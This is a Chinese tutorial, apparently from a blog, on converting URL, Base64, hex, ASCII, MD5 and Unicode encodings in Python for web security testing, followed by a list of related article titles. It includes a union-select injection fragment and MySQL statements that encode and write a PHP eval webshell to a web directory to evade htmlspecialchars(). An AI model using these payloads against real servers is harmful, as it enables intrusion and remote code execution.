url编码

url编码是一种浏览器用来打包表单输入的格式.

>>> from urllib import *
>>> quote("union select null,null,null")
'union%20select%20null%2Cnull%2Cnull'
>>> unquote("union%20select%20null%2Cnull%2Cnull")
'union select null,null,null'
>>> urlencode({'x':'2333','y':'666'})
'y=666&x=2333'

Base64

Base64常常用作网页表单和HTTP传输的一些参数,也常用于邮件协议传输用户信息等。

>>> import base64
>>> base64.b64encode("admin")
'YWRtaW4='
>>> base64.b64decode('YWRtaW4=')
'admin'

python的话会像上边解密base32,只需要将函数改变下:

>>> import base64
>>> base64.b32encode('jjjjj')
'NJVGU2TK'
>>> base64.b32decode('NJVGU2TK')
'jjjjj'

Hex

十六进制编码也是web application中常见的一种编码方案。MySQL注入可以使用hex绕过htmlspecialchars()函数从而写入webshell。

比如:
[SQL]

select 0x3c3f70687020406576616c28245f504f53545b615d293b203f3e into outfile '/web/1.php'

下面是python实现hex加解密的方法:

>>> '<?php @eval($_POST[a]); ?>'.encode('hex')
'3c3f70687020406576616c28245f504f53545b615d293b203f3e'
>>>
>>> print '3c3f70687020406576616c28245f504f53545b615d293b203f3e'.decode('hex')
<?php @eval($_POST[a]); ?>

Ascii

MySQL中的char()函数则是转换ascii码的,正因如此,也可以使用这个特性来绕过htmlspecialchars()函数。

比如:

select char(60, 63, 112, 104, 112, 32, 64, 101, 118, 97, 108, 40, 36, 95, 80, 79, 83, 84, 91, 97, 93, 41, 59, 32, 63, 62) into outfile '/web/1.php'

使用python将字符串转换ascii很简单,但是逆转换的话需要需要点小操作:

>>> map(ord, "<?php phpinfo() ?>")
[60, 63, 112, 104, 112, 32, 112, 104, 112, 105, 110, 102, 111, 40, 41, 32, 63, 62]>>> print chr(112)
p>>> l = [60, 63, 112, 104, 112, 32, 112, 104, 112, 105, 110, 102, 111, 40, 41, 32, 63, 62]
>>> print ''.join(map(chr,l))       #这里采用pcat表哥指出的方法
<?php phpinfo() ?>

Md5

md5在web安全界可以说是人尽皆知了,以他的不可逆性,大多数网站存储用户密码等关键数据时常常使用md5加密。有的时候我们提交payload需要md5加密,这个时候用下面的方法就可以轻松实现。当然解密的话推荐去cmd5。

>>> from hashlib import md5
>>> m = md5()
>>> m.update('this is a secret')
>>> m.hexdigest()
'7dbbcee180ba4d456e4aa1cfbdad9c7b'>>> m.hexdigest()[8:-8]
'80ba4d456e4aa1cf'
>>>

Unicode转中文

unicode转换中文,很多情况下都能遇到。尤其是在做渗透测试的时候。用burp的话会存在中文乱码的问题,在python下实现非常简单。

>>> print u"\u4f60\u9700\u8981\u91cd\u65b0\u767b\u9646"
你需要重新登陆

Python——编码转换相关推荐

  1. python编码转换语句_好程序员Python教程之字符串编码知识小结

    好程序员Python教程之字符串编码知识小结,提及Python字符串,你会想到什么?是ASCII,还是Unicode?他们之间是如何转换的?字符串编码和字符串有什么区别?接下来好程序员Python教程 ...

  2. python编码规范总结、python编码转换

    python编码规范总结.python编码转换 所有的 Python 脚本文件都应在文件头标上 #-*- coding:utf8 -*- .设置编辑器,默认保存为 utf8 格式. 编码 Python ...

  3. python编码转换在线_Python 编码转换与中文处理

    Python 编码转换与中文处理 python 中的 unicode是让人很困惑.比较难以理解的问题. utf-8是unicode的一种实现方式,unicode.gbk.gb2312是编码字符集. d ...

  4. Python 编码转换与中文处理

    Python 编码转换与中文处理 python 中的 unicode是让人很困惑.比较难以理解的问题. utf-8是unicode的一种实现方式,unicode.gbk.gb2312是编码字符集. d ...

  5. python 编码转换 专题

    主要介绍了python的编码机制,unicode, utf-8, utf-16, GBK, GB2312,ISO-8859-1 等编码之间的转换. 常见的编码转换分为以下几种情况: 自动识别 字符串编 ...

  6. python编码转换在线_Python字符编码转换Unicode和str

    ## str 我们平时写的用引号括起来的字符串都是str类型的. >>> x = '哈哈' >>> x '\xb9\xfe\xb9\xfe' ### 根据上面的打印 ...

  7. PYTHON编码转换小记

    # -*- coding: gb2312 -*-# 16进制字符串->10进制数值,8进制字符串->10进制数值,2进制字符串->10进制数值 print "16进制字符串 ...

  8. python 编码转换

    一.了解字符编码的知识储备 1. 文本编辑器存取文件的原理(nodepad++,pycharm,word) 打开编辑器就打开了启动了一个进程,是在内存中的,所以在编辑器编写的内容也都是存放与内存中的, ...

  9. python编码转换中文_python3如何中文转换编码?

    相信平时各位小伙伴都是习惯用中文的人,就算英文水平不错,毕竟还是中文用起来更顺手一点.不过在计算机编程中,还是以英文为主,会给我们的实际操作带来一些困扰.有时候中文也不能被计算机语言所识别,就会导致报 ...

最新文章

  1. 2009-2019年全国大学生智能汽车竞赛获奖数据分析
  2. python可以用break作为变量名_Python初体验(一)—【配置环境变量】【变量】【input】【条件语句】【循环语句】...
  3. Binary Search O(log n) algorithm to find duplicate in sequential list?
  4. WQL Analyzer V1.1(WMI查询分析器)
  5. Android开发 - 掌握ConstraintLayout(一)传统布局的问题
  6. Asp.netMVC中Html.Partial,RenderPartial,Action,RenderAction区别和用法
  7. C/C++ 指针小结——指针的概念和如何使用指针
  8. 组件源码——拖动条Slider
  9. UWB超宽带定位技术
  10. wps页码从指定页开始_wps怎么自动生成页码以及设置页码从第三页开始
  11. 苹果手机录屏软件_一款“短小精悍的”手机录屏软件
  12. html旋转3d魔方制作方法,JavaScript实现的3D旋转魔方动画效果实例代码
  13. 坚果pro3刷miui_锤子科技坚果Pro 3(12GB/256GB/全网通)手机卡怎么办?
  14. 这几个棘手的面试常见问题,如何高情商的回答?
  15. Box plot (箱形图) 中 quartile (四分位数)原理,及python_matplotlib中Q1和Q3定义的不同
  16. 简单记录双系统安装Ububtu22.04
  17. 【数据分析与挖掘】基于Apriori算法的中医证型的关联规则挖掘(有数据集和代码)
  18. Java计算百分比方法
  19. 为什么word打字换行的时候突然上一行文字间距变大了?如图
  20. 租用游戏服务器的优势

热门文章

  1. php怎么会占用磁盘,window_win10占用硬盘高怎么办?win10磁盘占用率达100%解决方法,  win10占用硬盘高怎么办呢? - phpStudy...
  2. 小米手机通过电脑上网
  3. 安卓手机如何下载ZOOM?
  4. 几十款收费软件现在免费了
  5. weblogic12C如何解决AdminServer.lok问题
  6. javascript和java哪个快_Javascript与Java相比有多快?
  7. diary with u
  8. 对信号加频偏的数学处理
  9. lookup无序查找_使用LOOKUP函数实现无序查询
  10. ASP.Net Core 2.2 MVC入门到基本使用系列 (四)(转)